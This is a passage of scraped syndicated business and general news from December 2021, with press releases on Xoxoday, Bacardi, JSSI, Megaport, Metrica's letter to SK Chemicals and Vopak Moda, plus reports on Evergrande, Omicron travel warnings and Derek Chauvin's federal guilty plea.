"Our vision is to have a large global ecosystem of holiday agents and suppliers that are interacting directly and seamlessly with each other, harnessing the power digital to book complex holidays with ease, and scaling-up their business through our growth-led tools," Vikas concludes. Currently, one can visit (https://www.travsie.com) www.travsie.com to know more about the platform's features and register. This story is provided by ATK. ANI will not be responsible in any way for the content of this article. (ANI/ATK) DISCLAIMER (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Bengaluru (Karnataka) [India], December 15 (ANI/PRNewswire): (https://www.xoxoday.com/?utm_source=PRnewswire & utm_campaign=SAPPR & utm_id=2021_12_weekly) Xoxoday announced the recognition of its (https://store.sap.com/dcp/en/product/display-0000045463_live_v1/Xoxoday%20Plum%20Rewards%20and%20Incentives) Xoxoday Plum Rewards and Incentives offering as a spotlight solution on (https://store.sap.com/dcp/en) SAP Store. Originally published on SAP Store in 2019, Xoxoday Plum's status as a spotlight solution was awarded based on its strong performance and customer support. Integrated with SAP SuccessFactors Compensation, the Xoxoday Plum solution helps businesses that use SAP technologies create a gratifying rewards redemption experience to engage and delight their employees. It also helps them gain immediate value and ROI from investments into SAP solutions. "The recognition of Xoxoday Plum as a spotlight solution on SAP Store has come at an exciting time for us - during the festival season," said Manoj Agarwal, co-founder, Xoxoday Plum. "We have already seen an increased velocity in our pipelines and we are looking forward to a very fruitful partnership with SAP." One of the biggest business challenges companies face is addressing the gaps in implementing a reward program customized to employee preferences. It can be cumbersome to keep the programs exciting and the rewards catalog fresh and appealing while facilitating reward redemption across multiple vendors. Xoxoday Plum acts as the interface of redemption and offers a global catalog of over 21,000 rewards from over 20+ different categories across 75+ countries. It supports multilingual and multi-currency redemption that enables multi-admin functionalities from one account for all locations. Xoxoday Plum also easily integrates with any pre-existing rewards and recognition program. The Xoxoday Plum solution is one of the few global spotlight solutions on the SAP Store, and with this status, it also provides Xoxoday with additional support from SAP. Notably, Xoxoday has acquired ten new customers in the short time since its offering has become a spotlight solution, including Kennametal, Nestle, and Alstom, with an additional 30 in the pipeline. SAP Store, found at(https://store.sap.com), delivers a simplified and connected digital customer experience for finding, trying, buying, and renewing more than 1,800 solutions from SAP and its partners. Customers can find the SAP solutions and SAP-validated solutions they need to grow their business. And for each purchase made through SAP Store, SAP will plant a tree. Xoxoday is a partner in the SAP PartnerEdge program. As such, it is empowered to build, market, and sell software applications that supplement and build on SAP software and technology. The SAP PartnerEdge program provides the enablement tools, benefits, and support to facilitate building high-quality, disruptive applications focused on specific business needs - quickly and cost-effectively. The program provides access to all relevant SAP technologies in one simple framework under a single, global contract. This story is provided by PRNewswire. ANI will not be responsible in any way for the content of this article. (ANI/PRNewswire) DISCLAIMER (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Answering a query from a member in the Lok Sabha, the government on Monday said that India has just 1,324 against 2.75 crore mutual fund investors and 7.38 crore demat accounts. It said the ratio of mutual fund investors and demat account holders to advisors is around 76,510:1. The number of unique demat account holders is about 30% less than the total accounts because several investors have multiple demat and trading accounts with more than one broker. However, this does not make the ratio of investors to advisers any less startling. had come out with investment advisor regulations nearly nine years ago in 2013. The number of demat accounts has doubled in three years from 3.6 crore at the beginning of FY20. A majority of the new additions came in the past year tempted by the bull run in the Indian stock market. Meanwhile, in the last 16 months, there has been an addition of just 32 advisors. While it is true that many of the small investors who invest a few thousand rupees in cannot afford an advisor, we cannot ignore the fact that current advisor numbers are inadequate even for the higher middle class and high net worth population. With annual mutual fund SIP inflows crossing Rs 1 trillion for the first time this year, should do more to increase the advisor base so the financial future of young investors today is in stable hands. As the year comes to a close, Bacardi Limited, the worlds largest privately held spirits company, is rounding it off in celebration. Bacardi has been recognized on Forbes' list of the 'World's Best Employers' for 2021, based on independent surveys conducted in more than 55 countries worldwide. Employees rated Bacardi on image, trust, corporate social responsibility, and culture, all fundamental to the way the company has operated for close to 160 years. This press release features multimedia. View the full release here: https://www.businesswire.com/news/home/20211214005218/en/ The worlds largest privately held spirits company, Bacardi, celebrates being listed as one of Forbes' 'World's Best Employers' for 2021. (Photo: Business Wire) Bacardi has been family-owned for seven generations and employs more than 8,000 people globally. At Bacardi, our top priority, since the founding of our company, has always been the care we take for our people. Our culture sets us apart and makes Bacardi a great place to be for our teams around the world and also to our partners who work with us each and every day in this amazing industry, says Scott Northcutt, Senior Vice President of Human Resources at Bacardi. We are always thinking about the legacy we will leave for future generations, and this wonderful accolade is a valuable testament to the fact that our efforts are being felt by our people. The Global leadership at Bacardi has consciously nurtured a culture where every person feels appreciated for who they are, what they do, and who they can become. This is an ethos that permeates every level of the company. People in every role are encouraged to treat each other as family, act fearlessly, think like a founder, and have fun while theyre at it an ideology that has been an integral part of the company since its inception in 1862. Having its people feel a sense of belonging is important to Bacardi, and the company continues to make strides in the areas of gender parity and inclusivity and has a global mentoring program in place to support its diverse talent pipeline. Appreciation for its unique culture of camaraderie and care are not foreign to Bacardi, and the company has been listed as a Great Place to Work or Top Employer in many of the countries it operates in, including the United States, United Kingdom, Russia, Poland, South Africa, India, UAE, Australia, Canada, and across Latin America. In many of these countries, it has been a recipient of this recognition over multiple years, an achievement that is even more remarkable during the pandemic. Bacardi has always put the safety of its people first and was quick to focus on employee wellbeing with existing initiatives such as the global Bacardi Assist program brought to the fore. Free counseling as well as mental health and parenting support, and work-life balance sessions were extended to employees and partners of Bacardi. Ongoing virtual wellbeing seminars and workshops continue to bring team members together as they now operate in hybrid work environments. Click HERE for the official publication of the full list of employers. All details regarding the methodology can be found HERE. About Bacardi Limited Bacardi Limited, the largest privately held spirits company in the world, produces and markets internationally recognized spirits and wines. The Bacardi Limited brand portfolio comprises more than 200 brands and labels, including BACARDI rum, GREY GOOSE vodka, PATRON tequila, DEWARS Blended Scotch whisky, BOMBAY SAPPHIRE gin, MARTINI vermouth and sparkling wines, CAZADORES 100% blue agave tequila, and other leading and emerging brands including WILLIAM LAWSONS Scotch whisky, ST-GERMAIN elderflower liqueur, and ERISTOFF vodka. Founded close to 160 years ago in Santiago de Cuba, family-owned Bacardi Limited currently employs more than 8,000, operates production facilities in 10 countries, and sells its brands in more than 170 countries. Bacardi Limited refers to the Bacardi group of companies, including Bacardi International Limited. Visit http://www.bacardilimited.com or follow us on Twitter, LinkedIn or Instagram. View source version on businesswire.com: https://www.businesswire.com/news/home/20211214005218/en/ Jet Support Services, Inc. (JSSI), the leading independent provider of maintenance support and financial services to the business aviation industry, today announced the acquisition of TRAXXALL. Founded in 2013, TRAXXALL provides software-as-a-service (SaaS) solutions for aircraft maintenance tracking, parts inventory management, and cloud-based software to enhance aircraft maintenance, repair and overhaul (MRO) workflow. Headquartered in Montreal, Canada, TRAXXALL has offices around the world. TRAXXALL has quickly emerged as a significant player in the maintenance tracking market. Named by the Financial Times as one of the Americas fastest growing companies, TRAXXALL delivers software to help customers reduce aircraft downtime, improve data accuracy, and have comprehensive visibility over maintenance costs, parts inventory, and MRO operations. JSSI and TRAXXALL have a shared history of challenging the status quo and putting customers first, said Neil Book, CEO of JSSI. This business combination presents an exciting opportunity to deliver huge value to our customers and dramatically accelerate the growth trajectory for both companies. TRAXXALLs global team will join JSSIs growing SaaS division, which comprises previous acquisition SierraTrax, reporting to Ash Reddy, recently promoted to the position of chief operating officer at JSSI. We take great pride in our reputation in the business aviation market as a thought partner and maintenance advisor to a robust and diverse fleet of aircraft around the world, said Reddy. As we now combine TRAXXALL with JSSIs core products and data, we are confident in our ongoing business mission to add tangible value for aircraft owners, operators, and maintenance facilities. I am so incredibly proud of what the Traxxall team has achieved, said Scott Henderson, CEO of TRAXXALL. I could not think of a better long-term partner for our business than the team at JSSI. JSSIs values are firmly aligned with our own and will allow us to further develop and enhance our suite of products, added Mark Steinbeck, president of TRAXXALL. With direct access to JSSIs data and capabilities, we will rapidly grow the maintenance tracking business alongside the SierraTrax brand and deliver advanced maintenance tracking solutions to a wider cross section of the business aviation community. In addition to its growing maintenance tracking software business, JSSI provides aircraft parts, engines and APUs to hundreds of operators across all makes and models through its JSSI Parts & Leasing business and offers a range of digital tools through Conklin & de Decker to help customers benchmark and compare aircraft ownership options with the most accurate performance and comparison data available. This move to develop the companys maintenance tracking offering further establishes JSSI as the go-to source for business aviation intelligence and support for the entire aircraft life cycle. GTCR, a leading private equity firm, is a majority investor in JSSI. View source version on businesswire.com: https://www.businesswire.com/news/home/20211214005652/en/ Megaport Limited (ASX: MP1) ("Megaport"), a global leading Network as a Service (NaaS) provider, today announces the availability of VMware SD-WAN on Megaport Virtual Edge (MVE). VMware SD-WANs will be interoperable with MVE to enable branch-to-cloud connectivity on Megaports global Software Defined Network (SDN). Optimising VMware SD-WAN Connectivity Many businesses have embraced SD-WAN and internet connections as a means of simplifying their IT connectivity. With VMware SD-WAN available on MVE, customers can host localised virtual SD-WAN controllers on Megaports global platform and reduce the distance data traverses over internet paths from branch locations to critical services in public or private clouds and even other branch locations. Once connected, VMware customers can access Megaports leading ecosystem of more than 700 enabled data centres worldwide and over 360 service providers, including 220+ cloud on-ramps from the world's leading clouds such as Alibaba Cloud, AWS, Google Cloud, Microsoft Azure, IBM Cloud, Oracle Cloud, and Salesforce. VMware SD-WAN on MVE Highlights: Reduced cloud egress costs to cloud on-ramps when compared to internet rates. Globally distributed for localised connections. Point-and-click network provisioning to support interconnection between branch locations, data centres, cloud providers, and IT services. Real-time provisioning of virtual network infrastructure and interconnections. No hardware to ship, install, or manage. Unified end-to-end network provisioning and management to transform legacy networks. More secure, multi-cloud connections to more than 360 service providers, 700+ enabled data centres, and 220+ cloud interconnect points. Craig Connors, vice president and general manager at VMware, said, VMware SD-WAN in combination with Megaport Virtual Edge offers customers more choice for simplifying WAN operations, reliable network performance for business-critical applications, and easier adoption of hybrid cloud and multi-cloud, while reducing latency to cloud workloads. Transforming Networking at the Edge MVE is a globally distributed compute and network service in one. The compute aspect of the service enables customers to host NFV instances in locations where they need them, on demand, and manage them in a point-and-click manner. On the network side, MVEs built-in transit gateway provides a highly scalable access point for connecting networks, via the public internet, to Megaports private SDN. Virtualised devices hosted on MVE can utilise the transit gateway to create connections between the Megaport SDN and their own networks, including branch locations, data centres, and private clouds. MVE is available in 24 metros across North America, Asia-Pacific, and Europe. This allows customers more flexibility to deploy virtual devices near concentrations of users to localise traffic and optimise data termination for performance. As enterprises and service providers rapidly adopt SD-WAN technology to improve edge network connectivity, the ability for Megaport customers to easily, and in minutes, spin up VMware SD-WAN edge routers around the world on our platform is a big enabler for global organisations, said Vincent English, CEO of Megaport. Having VMware SD-WAN in Megaports global Software Defined Network allows our customers to optimise their SD-WAN connectivity to improve overall network and application performance at a fraction of the cost of legacy methods. For more information about Megaport Virtual Edge, please visit https://www.megaport.com/mve. For more information about VMware SD-WAN, learn more at https://sdwan.vmware.com/. VMware and VMware SD-WAN are registered trademarks or trademarks of VMware, Inc. or its subsidiaries in the United States and other jurisdictions. About Megaport Megaport is a leading provider of Network as a Service (NaaS) solutions. The companys global Software Defined Network (SDN) helps businesses rapidly connect their network to services via an easy-to-use portal or our open API. Megaport offers agile networking capabilities that reduce operating costs and increase speed to market compared to traditional networking solutions. Megaport partners with the worlds top cloud service providers, including AWS, Microsoft Azure, and Google Cloud, as well as the largest data centre operators, systems integrators and managed service providers in the world. Megaport is an ISO/IEC 27001-certified company. View source version on businesswire.com: https://www.businesswire.com/news/home/20211214005135/en/ Metrica welcomes the recent value-improving initiatives announced by SK Chemicals (285130 KS Equity; 285130.KS) However, these measures have had only a very limited impact on the share price discount, which still exceeds 80%. Metrica calls for SK Chemicals to launch a formal strategic review within the next two months to consider further measures to address the discount, up to and including a sale or spin-off of SK Bioscience (302440 KS Equity; 302440.KS) shares. Metrica Partners Pte. Ltd. (Metrica), a Singapore-based manager of various funds which hold shares in SK Chemicals, is today sending the following letter to the CEO Mr. Jeon Kwang-Hyun and other board members. The letter is a follow-up to Metricas first communication of 8 September, 2021. Metrica continues to invite shareholders of SK Chemicals and other interested parties to subscribe to the distribution list at https://sk-shareholders.com/subscribe for further updates. Shareholders may also contact Metrica directly at [email protected]. *** The Board of Directors SK Chemicals Co., Ltd. 310, Pangyo-ro, Bundang-gu, Seongnam-si, Gyeonggi-do, 13494 Korea Attention: Mr. Jeon Kwang-Hyun Mr. Kim Cheol Mr. Moon Sung-Hwan Mr. Park Jeong-Soo Mr. Cho Hong-Hee Mr. An Yang-Ho 15 December, 2021 Dear Mr. Jeon and other Members of the Board, On 8 September, we wrote to you on behalf of various investment funds that own shares in your company. We expressed our concern over the extreme discount to net assets at which your shares trade on the Korea Exchange, and we proposed various measures to reduce the discount, including a sale of SK Bioscience shares upon the expiry of the lockup, or a share buyback. We are grateful for your letter of 1 October, in which you described ongoing efforts by the company to examine various practical ways to increase [] shareholder value. Subsequently, your company announced several new initiatives, including a new dividend policy, a stock bonus issue, and a sale of the loss-making polyphenylene sulphide business. While these measures are a welcome sign that SK Chemicals board and management are responsive to feedback from the shareholder base, in Metricas view they fall short of what is required to drive a true, long-lasting improvement in shareholder returns. This is because they fail to address the main issue that is, your companys excessively large stake in SK Bioscience. The market appears to agree. At the time of our previous letter, your shares were trading on the Korea Exchange at an 83% discount to net assets1. Today, the discount is almost unchanged at 82%. It is no secret as to why the discount exists, in Metricas opinion: Prior to March 2021, SK Chemicals shareholders owned 100% of a successful vaccine business SK Bioscience with dramatically improving prospects due to the pandemic. SK Chemicals sold 7.65 million of its SK Bioscience shares at 65,000 in the March IPO. These shares are valued in the market at 258,000 today, an increase of four times in just nine months. If the SK Bioscience IPO had not happened, SK Chemicals share price would now conceivably be 936,000 instead of 149,0002. In other words, SK Chemicals shareholders may have missed out on gains of up to 13.9 trillion3. Post the IPO, although SK Chemicals maintains a 68% stake in SK Bioscience, there is no guarantee that dividends paid by the latter will flow to SK Chemicals shareholders, as the new dividend policy appears to apply only to non-consolidated earnings. SK Chemicals is now a less liquid stock4 with a lower market capitalisation5, and both factors are associated with lower valuation multiples6. Around 93% of SK Chemicals net asset value is derived from its exposure to SK Bioscience7. It means there are effectively two stocks listed on the Korea Exchange with almost identical underlying fundamentals. All else being equal, investors in the Korean market generally prefer operating companies over holding companies8, causing the latter to trade at a valuation discount. Since the publication of our first letter to you, Metrica has received messages of support from hundreds of SK Chemicals shareholders, both retail and institutional, Korean and non-Korean. Many of these shareholders have expressed unhappiness at the handling of the SK Bioscience IPO process, and nearly all of them are dissatisfied with the current market valuation of SK Chemicals shares. Many shareholders also agree with Metrica that the recently announced initiatives are insufficient to address these issues. Metrica therefore calls on the board and management of SK Chemicals to launch a formal strategic review within the next two months, aimed at providing shareholders with opportunity to realise the true and fair value of their investment in the company. SK Chemicals must consider taking actions such as the following: Selling 14 million SK Bioscience shares and paying a special dividend with the proceeds, leaving SK Chemicals with a 50.1% stake in its subsidiary. Spinning off 0.8 SK Bioscience shares for each SK Chemicals share, which would also leave SK Chemicals with a 50.1% stake. Buying back SK Chemicals shares at the current price, which represents an effective price-to-book multiple of less than 0.2 times, and cancelling the shares. Several parties have asked Metrica to call an extraordinary general meeting, to give all shareholders including those representing the 65% of shares that are not affiliated with the SK Group an opportunity to express their views directly on the above proposals, e.g. via a resolution to elect new directors that would support them. While not ruling anything out, Metrica believes that the best outcome for all stakeholders would likely be for the current directors and management, who should know the company better than anyone else, to address these issues themselves within the current governance framework. Metrica estimates that a successful restructuring of the SK Bioscience stake along the lines described above could unlock value of around 3.0 trillion9, the vast majority of which would flow to Korean investors, who own 83% of your company10. In a time of increasing interest in ESG investment, Metrica believes such an outcome would be extremely well received by the market and improve the perception of the entire SK Group as well as its founding family. Yours sincerely, Damian L. Edwards Chief Investment Officer Metrica Partners Pte. Ltd. *** About Metrica Partners Pte. Ltd.: Metrica Partners Pte. Ltd. is a Singapore-based investment management company, founded in 2016 by Damian L. Edwards and David Mulvenna. As an independent firm not subject to the conflicts of interest often found at other investment managers, Metrica regularly exercises its right to makes public proposals to its investee companies. These proposals take the form of concrete, actionable steps aimed at improving corporate governance and boosting shareholder value. Metrica intends its recommendations to produce higher returns for investors, including pension funds that manage the retirement assets of Korean citizens. More information is available at https://metricapartners.com. _____________________________ 1 Metricas analysis. Assumes market value for the stake in SK Bioscience, and book value for the other businesses, which is comparable to the valuation derived by various securities company research analysts surveyed by Metrica. 2 Assuming SK Chemicals still held 60 million shares of SK Bioscience and valuing the other businesses at one times book (which is close to the multiple at which SK Chemicals shares traded in the two most recent pre-pandemic years of 2018 and 2019 source: Bloomberg). 3 SK Chemicals shares outstanding times (theoretical SK Chemicals share price without the IPO less current share price). 4 Average daily value traded, 20-day average: 196 billion for SK Bioscience, 19 billion for SK Chemicals (source: Bloomberg). 5 Market capitalisation: 19.7 trillion for SK Bioscience, 2.6 trillion for SK Chemicals (source: Bloomberg). 6 Source: Metrica research. 7 Source: Metrica research. 8 Source: Metrica research. 9 Source: Metrica research. 10 Source: Bloomberg. View source version on businesswire.com: https://www.businesswire.com/news/home/20211214005608/en/ The unique collaboration aims to impart niche technology skills and connect students with relevant employment opportunities NSDC will support Hero Vired by offering internships, industry projects, financing schemes, and facilitating strategic alliances with prospective institutions/business entities in a B2B (business-to-business) or B2I (business-to-individual) capacity As a technology innovation partner to support NSDC, Hero Vired will provide learner certifications through its digital commerce platform Hero Vired, Indias premium EdTech company, has collaborated with National Skill Development Corporation (NSDC) to offer internships, industry projects and financial support to professionals and higher education aspirants. The collaboration aims at developing innovative training programs in emerging and relevant technologies such as drone deployment and game designing, among others . As the technology innovation partner, Hero Vired will support NSDC by creating a digital platform to host learner certifications. This strategic alliance will also help drive NSDCs vision of creating a future-ready workforce through advanced skill training across sectors. The partnership will enable Hero Vired to play a proactive role in NSDCs mission in transforming the skill landscape. NSDCs skill training programs focus on enhancing skills, matching international standards through active industry engagement, and developing a necessary framework for standards, curriculum, and quality assurance. Leveraging the wide network of the organisation, the collaboration will allow institutions and businesses to access its range of courses and learning programs available through Hero Vireds integrated platform. All programs available through the collaboration are aligned to the National Skill Qualification Framework (NSQF) and will be co-certified by NSDC. Ved Mani Tiwari, Chief Operating Officer, NSDC said, The partnership with Hero Vired will focus on upskilling Indias youth by building their capabilities in new-age skills. The economic landscape is changing rapidly and NSDC endeavors to enable the countrys youth to adapt to this shift. Our vision is to enhance, support and bring together private sector initiatives for skill development. Through this association and by introducing such innovative programs that augment learning in advanced technologies, we endeavour to make the youth competent and future ready. Akshay Munjal, CEO and Founder, Hero Vired said, Hero Vired and NSDC share a vision of reimagining education and skilling in the country. At Hero Vired, the pedagogy consists of instructor-led and hands-on learning. We offer select programs where we are closely involved in the academic side of the business, i.e., creating academic content and delivering it in line with industry requirements all of which will be aided by the NSDC partnership. We already offer programs in several niche technologies such as artificial intelligence, machine learning, data science, fintech, and game designing, and more, and this collaboration will improve the employability of the youth and open up multifarious avenues for their professional development. The programs will focus on holistic end-to-end learning and equip learners with a comprehensive understanding of not only tools and technologies across relevant fields, but the business aspect and soft skills required for problem-solving. While students enrolled in part-time programs at Hero Vired will get a chance to work on industry projects, full-time enrollees will be given internship opportunities where they will work with organisations on solving real-life problems in their domains. The Vopak Moda Houston terminal is the first greenfield terminal in the Port of Houston in more than a decade. Positioned to become the premier U.S. Gulf Coast hydrogen and low-carbon ammonia terminaling hub. The only waterborne ammonia terminal in the Port of Houston with deepwater capabilities. The state-of-the-art terminal is directly connected via pipeline to Houstons petrochemical complex. Vopak Moda Houston, LLC today announced that its marine terminal in the Port of Houston is fully operational. Formed in 2016, Vopak Moda Houston is a joint venture between Royal Vopak and Moda Midstream. Strategically located in Houstons refining and petrochemical corridor and in close proximity to multiple ammonia, hydrogen and nitrogen pipelines, Vopak Moda Houston is the first greenfield terminal development in the Port of Houston in more than a decade. Designed to handle very large gas carriers (VLGCs), as well as smaller vessels and barges, Vopak Moda Houston is the only waterborne ammonia terminal in the Port of Houston with deepwater capabilities. The terminal has existing permits for additional berthing positions. Vopak Moda Houston is directly connected via pipeline to the Port of Houston petrochemical complex, the nations largest and worlds second-largest petrochemical complex. This press release features multimedia. View the full release here: https://www.businesswire.com/news/home/20211214005318/en/ The waterfront at the Vopak Moda Houston terminal. Shown here: barge and vessel unloading and two 15,000 metric ton ammonia storage tanks. (Photo: Business Wire) We are thrilled to bring the Vopak Moda Houston terminal into full service together with our partner Royal Vopak, our customers and other stakeholders, Moda Midstream CEO and Founder Jonathan Z. Ackerman said. In todays world, supply chains must be resilient and sustainable.With the ability to safely and reliably transport ammonia and other pressurized gases for our current and future customers, Vopak Moda Houston is a vital link in the new energy transition supply chain. We are in active discussions with customers to provide logistics solutions for low-carbon products, including storage and handling of green and blue ammonia, hydrogen and low-carbon bunkering. Thanks to the determination, hard work and collaboration amongst the teams since its formation, Vopak Moda Houston is well positioned to become the premier low-carbon ammonia and hydrogen terminaling hub on the U.S. Gulf Coast. Vopak Americas President Chris Robblee added, We are excited with this successful cooperation with Moda. This very well fits Vopaks strategy of developing new infrastructure solutions for products like ammonia. Our expertise and our presence in the main industrial clusters makes us well-equipped to actively contribute to the development of new supply chains for the energy and feedstocks of the future. Ammonia already serves an important role in society by supplying vital components to chemical manufacturing and in fertilizers as a nutrient for the foods we grow. Ammonia is expected to become even more important in the future as it will be used as the preferred carrier for storing and transporting low-carbon hydrogen. In addition, ammonia has growing applications in power cells, power generation and ship bunkering. Vopak Moda Houston also operates a unit train rail loop served by all three main rail lines. Vopak Moda Houston has completed construction of its rail infrastructure for the storage and handling of pressurized gas for a global energy company. Vopak Moda Houston Terminal: Key Metrics Fully automated terminal incorporating the latest safety technology Newly constructed deepwater dock employing state-of-the-art marine unloading and loading arms Current tanks: 2 x 15,000 metric ton tanks for refrigerated ammonia storage Current capacity: 30,000 total metric tons Pressurized bullet tanks: 5 Total bullet tank capacity: 14,285 barrels About Royal Vopak Royal Vopak is the worlds leading independent tank storage company. We store vital products with care. With over 400 years of history and a focus on sustainability, we ensure safe, clean and efficient storage and handling of bulk liquid products and gases for our customers. By doing so, we enable the delivery of products that are vital to our economy and daily lives, ranging from chemicals, oils, gases and LNG to biofuels and vegoils. We are determined to develop key infrastructure solutions for the worlds changing energy and feedstock systems, while simultaneously investing in digitalization and innovation. Vopak is listed on the Euronext Amsterdam and is headquartered in Rotterdam, the Netherlands. For more information, please visit vopak.com. About Moda Midstream, LLC Moda Midstream, LLC develops advantaged and sophisticated infrastructure for storing and handling liquids products that are essential to our economy and our way of life. Moda helps customers increase the efficiency and protect the integrity of their supply chains. Modas mission is to be the logistics and terminaling provider of choice by delivering safe, reliable and sustainable solutions. Moda is backed by EnCap Flatrock Midstream. In October 2021, Modaclosed on the sale of its Moda Ingleside Energy Center (MIEC) to Enbridge. MIEC, now known as the Enbridge Ingleside Energy Center, is the largest crude oil export terminal in the U.S. Please visit www.modamidstream.com. About EnCap Flatrock Midstream EnCap Flatrock Midstream provides value-added growth capital to proven management teams focused on midstream infrastructure opportunities across North America. The firm was formed in 2008 by a partnership between EnCap Investments L.P. and Flatrock Energy Advisors, LLC. Based in San Antonio with offices in Oklahoma City and Houston, the firm manages investment commitments of nearly $9 billion from a broad group of prestigious institutional investors. EnCap Flatrock Midstream is currently making commitments to new management teams from EFM Fund IV, a $3.25 billion fund. For more information, please visit www.efmidstream.com. View source version on businesswire.com: https://www.businesswire.com/news/home/20211214005318/en/ Whats new: The Guangdong provincial government dispatched a working team to China Evergrande Groups office in Guangzhou to study the companys financial condition and help with risk disposal, Caixin learned from people close to the matter. Evergrande management was told to report directly to the working team. Evergrandes vice president and auto business chief Xiao En is in charge of the companys daily operations. The provincial government is collecting information about Evergrande executives guarantees for the companys debts. Caixin learned that many executives offered personal guarantees for Evergrande obligations. The government also ordered Evergrande to halt asset disposal Dec.12 to assess the companys finances and assets. Urgent cases must be reported and will be studied specifically, a company source said. The context: The Guangdong government said in early December it would send a working team to the indebted developer to help defuse its debt crisis. The move came shortly after Evergrande warned of a default on a $260 million debt guarantee obligation and marked a key step toward a restructuring of the debt-laden conglomerate. Days later, Evergrande said it set up a risk management committee to assess the groups financial situation and come up with an asset disposal plan for government approval. Chinas central bank Governor Yi Gang Dec. 10 reiterated that Evergrandes crisis will be dealt with in a market-oriented way, another signal that Beijing wont tolerate massive debt buildups that threaten financial stability. Quick Takes are condensed versions of China-related stories for fast news you can use. Contact reporter Han Wei (weihan@caixin.com) and editor Bob Simison (hello@caixin.com) Download our app to receive breaking news alerts and read the news on the go. Get our weekly free Must-Read newsletter. Photographer Wang Jing, who has been locked down in Xian, Northwest Chinas Shaanxi province, has captured images of daily life through his lens since the city imposed restrictions on peoples movement to control a Covid-19 outbreak. With soaring case numbers, many consider Xians outbreak to be the second most serious in China after Wuhan in 2020 Jan 05, 2022 06:16 PM It seems the possibility of seeing the all-new Toyota Raize on local roads is getting greater and greater by the day. The latest evidence? T... Photo: Contributed New apprenticeships are down across the country due to the COVID-19 pandemic, according to a Statistics Canada report released this month. This spells trouble for economic production in the near term, as employers and trades schools scramble to make up for lost time, says Guy Ellis, CEO of Trades Training BC. It means higher wages and less production, if you will, whether its building or mechanics or anything else. So, theres more pressure for sure on the companies trying to provide goods and services, says Ellis. The report shows an overall decline in new apprenticeship registrations of 28.5% in 2020, in addition to a 32.7% decline in certifications. In B.C., total apprenticeship registrations were down 23.9%. Ellis is also the dean of the BCIT School of Transportation, which trains mechanics for planes, trains and automobiles. He tells Glacier Media his school fared relatively well with only an estimated 15% decline in head count last year. Construction-related certifications also fared fine in B.C., he says. At the start of the pandemic, there was a halt of several industry sectors, including construction. In B.C., the government reacted and came out with a list of essential services... construction was on that list. So the slowdown in the construction sector and transportation sector was not as big as in other parts of the country, explains Ellis. Echoing the report, he says it was the more social trades ones more popular among women that were hurt the most. Among the major trade groups, the largest percentage declines in certifications were for community and social service workers (-62.7%), hairstylists and estheticians (-48.1%), electronics and instrumentation (-45.3%), early childhood educators and assistants (-44.4%), and food services (-43.4%), noted the report. The severity of the impact on these trade groups was partially attributable to the forced closures of businesses deemed non-essential, combined with the fact that many other businesses operated at limited capacity, such as restaurants that remained open but had limited dining capacity or provided only delivery services. Apprentices are typically sent to schools by employers; upon completion of coursework, they become certified skilled workers, says Ellis, adding many employers are taking a wait-and-see approach as public health rules shift. The declines in new registrations and certifications among women were proportionately larger than those among men, as new registrations declined by 3,447 (-32.9%) and certifications fell by 2,460 (-38.5%) as compared to 27.8% and 31.9% respectively, according to the report. Ellis says schools are back to full capacity but the hiccup left by the pandemic will be felt in years ahead. He notes the provincial government may need to spend more money on increasing capacity to make up for the shortfall. Now the demand is there but theres still lots of safety protocols in place that constrains productivity, he says. Photo: The Canadian Press A man uses a sanitizer spray to wash down luggage carts at Toronto's Pearson International Airport. UPDATE 11:15 a.m. The federal government is now warning Canadians against all non-essential international travel in the face of the rapidly spreading Omicron variant of COVID-19. "To those who were planning to travel I see very clearly, now is not the time to travel," Health Minister Jean-Yves Duclos said Wednesday at a news conference in Ottawa. "The rapid spread of the Omicron variant on a global scale makes us fear the worst." The announcement came after Prime Minister Justin Trudeau spoke with provincial and territorial premiers Tuesday evening to discuss how to respond to Omicron. Duclos said the highly transmissible variant is now spreading in Canadian communities, and just about everywhere else in the world. He said that people who leave the country risk spreading the virus, and getting stranded abroad. Ottawa has also agreed to send shipments of booster doses and rapid tests to provinces and territories to quickly ramp up vaccination campaigns to combat the virus at home. Earlier Wednesday, Trudeau warned that people should be careful as they finish making their Christmas plans this year in light of the new variant. Finance Minister Chrystia Freeland dedicated $4.5 billion in Tuesday's fiscal update to respond to the Omicron variant. "I know that the rising threat Omicron poses is not something any of us want to be dealing with, especially now, just before the holidays," she said Wednesday. ORIGINAL 9 a.m. Prime Minister Justin Trudeau says people will have to be careful as they finalize their Christmas plans this year, now that the highly transmissible Omicron variant is spreading through Canada. The warning comes the morning after Trudeau met with his provincial and territorial counterparts to discuss potential measures to dampen the impact of the new variant. On the table were several options to limit international travel. When the threat of Omicron emerged late last month the government issued a travel advisory, urging Canadians to be aware that travel to an area with Omicron could hamper their ability to return to Canada. The World Health Organization has already advised anyone who is unvaccinated, unwell, or is at higher risk of serious illness or death from COVID-19 should put off travel to areas where Omicron is spreading. Trudeau and the premiers also discussed potential domestic measures to stop community spread. Photo: The Canadian Press Former Minneapolis police Officer Derek Chauvin pleaded guilty Wednesday to a federal charge of violating George Floyds civil rights, averting a trial but likely extending the time he is already spending behind bars on a state conviction. Chauvin, who is white, was convicted this spring of state murder and manslaughter charges for pinning his knee against Floyds neck during a May 25, 2020, arrest as the Black man said he couldnt breathe Chauvin was sentenced to 22 1/2 years in that case. The federal charge alleged that Chauvin deprived Floyd of his rights by kneeling on his neck as he was handcuffed and not resisting. Chauvin appeared in person Wednesday for the change of plea hearing in an orange short-sleeve prison shirt and was led into and out of the court in handcuffs. He said Guilty, your honor to confirm his pleas in Floyd's death and an unrelated 2017 case, and acknowledged that he was guilty of the acts alleged. With parole and presuming good behavior, Chauvin is expected to actually serve about 15 years of his state sentence behind bars. Any federal sentence would run at the same time as the state sentence, and defendants serve about 85 percent of federal sentences presuming good behavior. That means if the judge gives Chauvin the maximum 25 years requested, he would likely serve about six years and three months beyond his state sentence. Judge Paul Magnuson didnt set a date for sentencing. Three other former officers Thomas Lane, J. Kueng and Tou Thao were indicted on federal charges alongside Chauvin earlier this year. They are still on course for trial early next year on those charges, with a state trial still to come. Floyds arrest and death, which a bystander captured on cellphone video, sparked mass protests nationwide calling for an end to racial inequality and police mistreatment of Black people. As part of the plea deal, Chauvin also pleaded guilty to violating the rights of a then-14-year-old boy during a 2017 arrest in which he held the boy by the throat, hit him in the head with a flashlight and held his knee on the boys neck and upper back while he was prone, handcuffed and not resisting. Several members of Floyd's family were present, as was the then-teenager involved in the 2017 arrest, according to a pool reporter. As they left the courtroom, Floyd's brother Philonise said to Chauvin's 2017 victim: Its a good day for justice. Nine people appeared to support Chauvin, including family members. He waved and smiled at them as he 